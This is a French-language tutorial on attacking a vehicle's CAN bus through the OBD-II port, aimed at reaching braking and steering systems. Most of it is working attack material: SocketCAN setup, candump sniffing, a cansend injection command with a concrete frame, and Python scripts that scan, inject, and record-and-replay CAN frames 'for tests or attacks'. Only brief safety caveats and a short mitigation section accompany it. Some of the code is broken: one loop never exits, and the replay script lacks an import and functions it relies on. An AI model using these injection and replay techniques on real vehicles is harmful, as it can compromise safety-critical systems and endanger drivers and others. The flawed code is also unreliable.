Exploitation des Interfaces CAN des Véhicules

Objectif

Exploiter le CAN Bus (Controller Area Network) d'un véhicule pour accéder aux systèmes de contrôle interne (freinage, direction, etc.) en utilisant des dispositifs et techniques de hacking automobile.

Prérequis

• Matériel : Un dispositif compatible CAN, comme une Raspberry Pi avec un CAN Hat, un USB-CAN Adapter (ex. : CANable ou OBD-II adapter), et un câble OBD-II.
• Logiciel : Kali Linux ou Raspbian avec les bibliothèques nécessaires (ex. : Python-CAN, SocketCAN).
• Connaissances requises : Notions sur les architectures de véhicules, le CAN Bus, et les commandes OBD-II.

Tutoriel détaillé

1. Préparation de la Raspberry Pi ou de l’Adaptateur USB-CAN

• Si vous utilisez une Raspberry Pi avec un CAN Hat :
• Connectez le CAN Hat à la Raspberry Pi et configurez les broches GPIO selon les instructions du fabricant.
• Si vous utilisez un USB-CAN Adapter :
• Connectez-le à votre Raspberry Pi ou à un PC Linux via USB.
• Connectez l’adaptateur au port OBD-II du véhicule à l’aide d’un câble OBD-II.

2. Configuration du Logiciel CAN sur Kali Linux/Raspbian

Installer les bibliothèques nécessaires :

sudo apt-get update
sudo apt-get install python-can

Configurer l’interface CAN avec SocketCAN pour la Raspberry Pi :

sudo ip link set can0 up type can bitrate 500000
sudo ifconfig can0 up

3. Scan des Messages CAN

Utiliser candump (outil fourni avec can-utils) pour écouter les messages CAN du véhicule :

candump can0

Cela permet de voir le flux de données CAN en temps réel. Notez les ID et les données qui apparaissent pour identifier les trames pertinentes (ex. : commandes de freinage ou de direction).

4. Injection de Messages CAN

Une fois les ID identifiés, utiliser cansend pour injecter des messages spécifiques :

cansend can0 18DAF110#0201050000000000

Tester des commandes spécifiques pour interagir avec le véhicule (ex. : contrôle de la climatisation, affichage sur le tableau de bord, etc.). Attention : toute manipulation doit être effectuée dans un environnement sécurisé (comme un banc de test ou un véhicule immobilisé).

5. Écriture d’un Script Python pour Automatiser le Scan et l’Injection

Utiliser la bibliothèque python-can pour automatiser la capture et l’envoi de messages CAN.

import can
import time

def setup_can_interface():
    bus = can.interface.Bus(channel='can0', bustype='socketcan')
    return bus

def scan_can(bus):
    print("[*] Scanning CAN bus for messages...")
    while True:
        message = bus.recv()
        print(f"ID: {hex(message.arbitration_id)}, Data: {message.data}")

def send_can_message(bus, arbitration_id, data):
    message = can.Message(arbitration_id=arbitration_id, data=data, extended_id=False)
    bus.send(message)
    print(f"[*] Sent message ID: {hex(arbitration_id)} with data: {data}")

if __name__ == "__main__":
    bus = setup_can_interface()
    try:
        print("CAN Bus Scanner and Injector")
        scan_can(bus)
        # Example of sending a message
        send_can_message(bus, 0x18DAF110, [0x02, 0x01, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00])
    except KeyboardInterrupt:
        print("Exiting...")
        

Ce script scanne le bus CAN et permet d’envoyer un message prédéfini en injectant des données dans le réseau de contrôle du véhicule.

6. Test des Commandes Critiques en Environnement Contrôlé

Pour la sécurité, ces tests doivent être réalisés sur un banc de test de véhicule ou sur un véhicule immobilisé (roue levée, moteur éteint). Tester différentes commandes (accélération, freinage, direction) uniquement dans un environnement sécurisé.

7. Protection Contre les Attaques CAN (Mitigation)

• Mettre en place des IDS (Intrusion Detection Systems) pour CAN Bus (ex. : CAN IDS de Kaspersky) qui surveillent les trames pour détecter des anomalies ou des injections de données suspectes.
• Limiter l'accès au port OBD-II avec des dispositifs de verrouillage et assurer un chiffrement des données CAN si possible.

Script Python pour Enregistrer et Rejouer des Trames CAN

Créer un enregistreur de trames CAN pour capturer des trames pendant une période de temps et les rejouer pour des tests ou attaques.

import can

def record_can_traffic(bus, duration):
    log = []
    print(f"[*] Recording CAN traffic for {duration} seconds...")
    end_time = time.time() + duration
    while time.time() < end_time:
        message = bus.recv()
        log.append((message.arbitration_id, message.data))
    return log

def replay_can_traffic(bus, log):
    print("[*] Replaying recorded CAN traffic...")
    for arbitration_id, data in log:
        send_can_message(bus, arbitration_id, data)

if __name__ == "__main__":
    bus = setup_can_interface()
    log = record_can_traffic(bus, 10)  # Record for 10 seconds
    replay_can_traffic(bus, log)
        

8. Validation et Compatibilité

Tester cette méthode sur plusieurs marques de véhicules avec différents protocoles CAN (ISO 15765, ISO 11898) pour garantir la compatibilité et la flexibilité des scripts.